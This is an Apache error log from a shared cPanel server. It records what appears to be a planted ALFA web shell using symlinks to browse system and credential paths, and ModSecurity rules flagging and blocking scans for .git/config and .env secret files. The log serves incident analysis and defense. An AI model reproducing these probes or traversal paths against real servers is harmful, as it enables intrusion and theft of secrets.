[Sun Oct 25 07:54:38.422101 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/dovecot/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/dovecot/' is executable
[Sun Oct 25 07:54:38.820423 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/private/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/private/' is executable
[Sun Oct 25 07:54:39.010341 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/nginx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/nginx/' is executable
[Sun Oct 25 07:54:39.456297 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/configserver/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/configserver/' is executable
[Sun Oct 25 07:54:39.456395 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/polkit-1/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/polkit-1/' is executable
[Sun Oct 25 07:54:39.650024 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/tpm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/tpm/' is executable
[Sun Oct 25 07:54:39.672996 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/csf/' is executable
[Sun Oct 25 07:54:39.673045 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/rsyslog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/rsyslog/' is executable
[Sun Oct 25 07:54:39.832187 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/chrony/' is executable
[Sun Oct 25 07:54:46.833531 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.206.47.187:30375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:54:50.832764 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 184.72.95.195:44668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:06.758233 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.84.147.79:4874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:10.566761 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.213.202.136:16720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:14.793454 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.224.205.25:41752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:30.561299 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.93.98.99:49845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:34.363275 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.209.100.30:29947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:46.268174 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.194.14.255:30402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:54.329069 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 185.191.171.9:32560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:55:58.215277 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 34.194.233.48:6378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/mice/subsystem/input0/device/driver/bind
[Sun Oct 25 07:56:02.217779 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.3.26.180:14000] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:10.196788 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.196.118.6:54713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:14.223424 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 34.227.156.153:25220] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:18.276287 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.216.172.204:16656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:22.284880 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.166.104.83:29896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:24.430594 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 185.191.171.3:10540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:26.200089 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 44.193.102.198:18462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory4/node0/memory16/subsystem/uevent
[Sun Oct 25 07:56:30.179487 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 100.29.128.75:14223] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory4/node0/memory20/subsystem/drivers_probe
[Sun Oct 25 07:56:38.196666 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.232.36.1:18557] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:46.334031 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 34.236.135.14:36861] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:56:54.177591 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.82.38.120:17885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:57:02.304157 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.156.55.147:60193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:57:14.165555 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.212.145.46:15896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:57:34.228487 2026] [ssl:error] [pid 2821699:tid 2821699] (5)Input/output error: [client 3.218.35.239:45831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:57:50.391087 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.157.84.74:20725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:02.165055 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 100.29.34.97:50241] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:04.374345 2026] [security2:error] [pid 2806348:tid 2806348] [client 190.80.24.172:54754] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hoteles2/proyecto.php"] [unique_id "at3uyw-YVEbWS5meiuhjKgAAAAw"]
[Sun Oct 25 07:58:04.374386 2026] [security2:error] [pid 2806348:tid 2806348] [client 190.80.24.172:54754] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hoteles2/proyecto.php"] [unique_id "at3uyw-YVEbWS5meiuhjKgAAAAw"]
[Sun Oct 25 07:58:07.261197 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 185.191.171.18:52336] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:25.787763 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 216.244.66.250:40280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nocgiusers
[Sun Oct 25 07:58:27.198732 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.211:21214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/alloc_calls
[Sun Oct 25 07:58:42.166436 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.206.93.215:61425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:45.230095 2026] [security2:error] [pid 2823283:tid 2823283] [client 192.140.149.225:52722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/restartsrv_pureftpd"] [unique_id "at3u9Uyngap_XOTN2yDoKAAAAAI"]
[Sun Oct 25 07:58:45.230148 2026] [security2:error] [pid 2823283:tid 2823283] [client 192.140.149.225:52722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/restartsrv_pureftpd"] [unique_id "at3u9Uyngap_XOTN2yDoKAAAAAI"]
[Sun Oct 25 07:58:46.766541 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 3.212.86.97:53352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:50.202410 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.210.29.96:41449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:54.225892 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.227.156.153:53447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:58:58.160243 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.212.232.231:15284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:59:02.292417 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.222.85.38:59952] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:59:10.157350 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 18.214.124.6:35302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:59:16.225026 2026] [authz_core:error] [pid 2820367:tid 2820367] [client 90.185.163.97:57766] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:59:18.198188 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.194.134.53:25493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:59:22.173310 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.4.213.199:23278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:59:25.086636 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.196:45788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/remote_node_defrag_ratio
[Sun Oct 25 07:59:26.229853 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 52.7.13.143:42016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/drivers/button/uevent
[Sun Oct 25 07:59:38.218646 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.194.139.149:18111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:59:46.157051 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.235.172.96:5633] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:00:02.781232 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.4.238.8:2860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:00:04.762574 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.202:11900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/userdomains
[Sun Oct 25 08:00:10.266777 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.239.197.197:26964] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:00:14.156449 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.144.185.255:17713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:00:46.151110 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.0.41.164:10485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:00:50.231751 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 98.82.38.120:53135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:00:54.154765 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 3.94.157.25:27004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/resource4
[Sun Oct 25 08:01:02.331130 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.144.185.255:50844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:01:04.585560 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3vgNy-_GHm1dX7tKN4KgAAABA"]
[Sun Oct 25 08:01:04.585834 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3vgNy-_GHm1dX7tKN4KgAAABA"]
[Sun Oct 25 08:01:04.586176 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3vgNy-_GHm1dX7tKN4KgAAABA"]
[Sun Oct 25 08:01:05.115188 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3vgdy-_GHm1dX7tKN4LAAAABA"]
[Sun Oct 25 08:01:05.115522 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3vgdy-_GHm1dX7tKN4LAAAABA"]
[Sun Oct 25 08:01:05.115900 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3vgdy-_GHm1dX7tKN4LAAAABA"]
[Sun Oct 25 08:01:05.419569 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3vgdy-_GHm1dX7tKN4LQAAABA"]
[Sun Oct 25 08:01:05.419821 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3vgdy-_GHm1dX7tKN4LQAAABA"]
[Sun Oct 25 08:01:05.420165 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3vgdy-_GHm1dX7tKN4LQAAABA"]
[Sun Oct 25 08:01:05.636318 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3vgdy-_GHm1dX7tKN4LgAAABA"]
[Sun Oct 25 08:01:05.636587 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3vgdy-_GHm1dX7tKN4LgAAABA"]
[Sun Oct 25 08:01:05.636904 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3vgdy-_GHm1dX7tKN4LgAAABA"]
[Sun Oct 25 08:01:05.827188 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3vges4DYbOWQ864oPKxwAAAAk"]
[Sun Oct 25 08:01:05.827484 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3vges4DYbOWQ864oPKxwAAAAk"]
[Sun Oct 25 08:01:05.827828 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3vges4DYbOWQ864oPKxwAAAAk"]
[Sun Oct 25 08:01:05.899656 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3vgdy-_GHm1dX7tKN4LwAAABA"]
[Sun Oct 25 08:01:05.899876 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3vgdy-_GHm1dX7tKN4LwAAABA"]
[Sun Oct 25 08:01:05.900173 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3vgdy-_GHm1dX7tKN4LwAAABA"]
[Sun Oct 25 08:01:06.117070 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3vgty-_GHm1dX7tKN4MAAAABA"]
